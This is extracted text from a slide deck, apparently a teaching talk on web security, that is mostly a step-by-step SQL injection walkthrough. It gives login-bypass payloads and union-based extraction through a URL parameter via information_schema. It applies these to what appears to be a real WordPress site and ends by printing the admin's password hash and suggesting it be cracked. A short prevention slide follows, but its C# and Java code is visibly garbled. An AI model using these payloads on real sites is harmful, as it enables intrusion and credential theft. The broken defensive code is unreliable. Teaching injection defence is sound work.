3Computer SecurityComputer Security is the degree of protection in computer-based equipment.Nothing Is 100% SecureThere’s an old joke in computer security circles that the only truly secure computer is one that’s disconnected from all power and communication lines, and locked in a safe at the bottom of a reinforced bunker surrounded by armed guards!So …If a hacker wants to enter to your system , you can do nothing but you can make it difficult for him.Remember …Security is a BIG field that is much more than programming.
4Hacker Hacker Type of Hackers White Hat - Test security of system. Real hacker is a genius programmer. He is somebody who finds weaknesses in a computer or computer network.Type of HackersWhite Hat - Test security of system.Black Hat - Destroy data or make the network unusable.Grey Hat - Combination of a black hat and a white hat (find and try to fix).Neophyte - Learning before action.Script Kiddie - Using tools with no understanding.Hacktivist - Political ideals and issues.Elite Hacker - Most skilled hackers.
5SQL-Injection What? How? So What? What’s The Point? SQL injection is a technique often used to attack a website.It was one of the top 10 web application vulnerabilities of 2007 and 2010.How?Injecting SQL statements in a SQL query.So What?To run an SQL command that can change database content or access the database information.What’s The Point?The point is DO NOT FORGET “Every user is a hacker”
6The Key to prevent SQL-Injection Never and ever trust any kind of user inputEspecially that which comes from the client side, even though it comes from a select box, a hidden input field or a cookie.Check if the given input has the expected data type.NO, IT’S NOT AN OPTIONYou MUST check validation of every data that comes from user!
7Imperva’s Web Application Attack Report Edition #1 - July 2011 Imperva is a data security company, which provides solutions for high-value business data protection.RFI : Remote File Inclusion SQLI : SQL-Injection XSS : Cross-Site Scripting
9SQL-Injection – Login Forms Select:Syntax:SELECT [column_name(s)] FROM [table_name] WHERE [Condition(s)]Example:SELECT FirstName,LastName FROM students WHERE FirstName=‘Siamak‘SELECT 1,2 FROM students WHERE FirstName=‘Siamak‘SELECT * FROM students WHERE FirstName=‘Siamak‘
10SQL-Injection – Login Forms A simple query for validating admin:SELECT user,pass FROM admin WHERE user=‘siamak’ and pass=‘1234’In a real program siamak and 1234 are variables. So …SELECT user,pass FROM admin WHERE user=‘$usr’ and pass=‘$psw’What will happen if:$usr = siamak' #;$psw = ;
11SQL-Injection – Login Forms A simple query for validating admin:What # does ?# comments the rest of query.So …SELECT user,pass FROM admin WHERE user=‘siamak' # and pass=‘$psw’And it means:SELECT user,pass FROM admin WHERE user=‘siamak'So you can Login only with the admin username without having password!
12SQL-Injection – Login Forms A simple query for validating admin:Or you can$usr = ' OR '1' = '1;$psw = ' OR '1' = '1;SELECT user,pass FROM admin WHERE user=‘' OR '1'='1’ and pass=‘' OR '1'='1’So you can Login with NOTHING!!!
13information_schemaMost sensitive database in MySQL is information_schema:This database holds names of all databases, tables, columns,…In SQL-injection attack these tables of information_schema are more useful than others:SCHEMATATABLESCOLUMNS
14SQL-Injection – Address bar In a victim site when you click on a link you will redirect to a page something like this:So what is ?id=34 ?GET method:Syntax:?[var1]=[value1]&[var2]=[value2]&[var3]=[value3]Example:?category=sport&newsID=34?name=siamak&orderID=254
15SQL-Injection – Address bar When you put ' or " you can find out the query is injectable or not!If the programmer does not filter the value of id warning will occur:Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/content/j/s/w/jswilliams1/html/news/post.php on line 12Now you know that this site is vulnerable.Now, it is time to inject your query to find out more information about the database, tables, … structures.
16SQL-Injection – Address bar ORDER BY:Syntax:SELECT [column_name(s)] FROM [table_name]ORDER BY [column_name || column_number]Example:SELECT FirstName,LastName FROM students ORDER BY FirstNameSELECT FirstName,LastName FROM students ORDER BY 1SELECT FirstName,LastName FROM students ORDER BY 2
17SQL-Injection – Address bar Lets check how many columns are selected in the query.Use -- to comment rest of the query.We guess the number of columns. so try to order by the number of columns.First guess is 100.Keep doing this until the error disappears.errorerrorOKOKerrorNow we have the count of column's that is "25".So this table has 25 columns.
18SQL-Injection – Address bar UNION:Syntax:SELECT [column_name(s)] FROM [table1_name]UNIONSELECT [column_name(s)] FROM [table2_name]Example:SELECT sID,sName FROM students UNION SELECT tID,tName FROM teachersNumber of selected columns must be equal in selects.You can select from another database too.
19SQL-Injection – Address bar Use - to make sure first select wont return any recordsThen use union to select from another database [information_schema]Use LIMIT offset,count to limit the records. EX: LIMIT 2,10Now we have the database name: "mediamaster".
20SQL-Injection – Address bar GROUP_CONCAT():Syntax:SELECT GROUP_CONCAT([column_name(s)]) FROM [table_name]Example:SELECT GROUP_CONCAT(firstName) FROM studentsThis function returns a string result.EX result if they are three records: “siamak,mazdak,laklak”
21SQL-Injection – Address bar Now we should find the tables name.This time we select from TABLES from information_schema.We use GROUP_CONCAT() to make the result an string.Now we have tables:wp_commentswp_linkswp_optionswp_postmetawp_postswp_term_relationshipswp_term_taxonomywp_termswp_usermetawp_users
22SQL-Injection – Address bar So we have …database name:mediamasterTables name:wp_commentswp_linkswp_optionswp_postmetawp_postswp_term_relationshipswp_term_taxonomywp_termswp_usermetawp_users
23SQL-Injection – Address bar Now we should find the columns name.The table that holds users is wp_users, so we try to find columns of this table.This time we select from COLUMNS from information_schema.COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.COLUMNS+limit+200,1--COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.COLUMNS+limit+300,1--COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.COLUMNS+limit+262,1--COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.COLUMNS+limit+341,1--This table’s columns begin from records number 262 to 341
24SQL-Injection – Address bar columns of wp_users are:iduser_login [341,1]user_passuser_nicenameuser_user_urluser_registereduser_activation_keyuser_statusdisplay_name [350,1]Now we can find out the exact database in structure.Then write the main query:user_login,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+wp_users+limit+0,1--
25SQL-Injection – Address bar Finally Done.Username : adminHashed Password: $P$BeV0IWgNwdMuiQ6gCU1o9BjQtI3VsW1Crack the hash by a password cracker site.THAT’S IT!
27SQL-Injection – Prevent To prevent SQL-injection, you can escape strings before put it in the query.EX in PHP: (You can also use PDO)$id = intval($id);$user = mysql_real_escape_string($user);EX in C#.NET: (Parameterized Query)SqlParameter myparm = new SqlParameter;myparm = newmyparm = newstring comando = "SELECT * FROM table WHERE ANDEX in JAVA: (Prepared Statements)string selectStatement = "SELECT * FROM User WHERE userId = ? ";preparedStatement prepStmt = con.prepareStatement(selectStatement);prepStmt.setString(1, userId);resultSet rs = prepStmt.executeQuery();
28SQL-InjectionThat was just the beginning.SecurityThis article
29SQL-InjectionReferences: Books: 1. Pro PHP Security SECOND EDITION Author: Chris Snyder, Thomas Myer,and Michael Southwell 2. Attack And Defence PHP Web Apps -- Author: Shahriyar Jalayeri Articles: 1. SQL Injection - php.net 2. SQL-Injection Powered by WebSec.ca 3. SQL Injection cheat sheet -- Author: RSnake 4. Wikipedia And some other articles …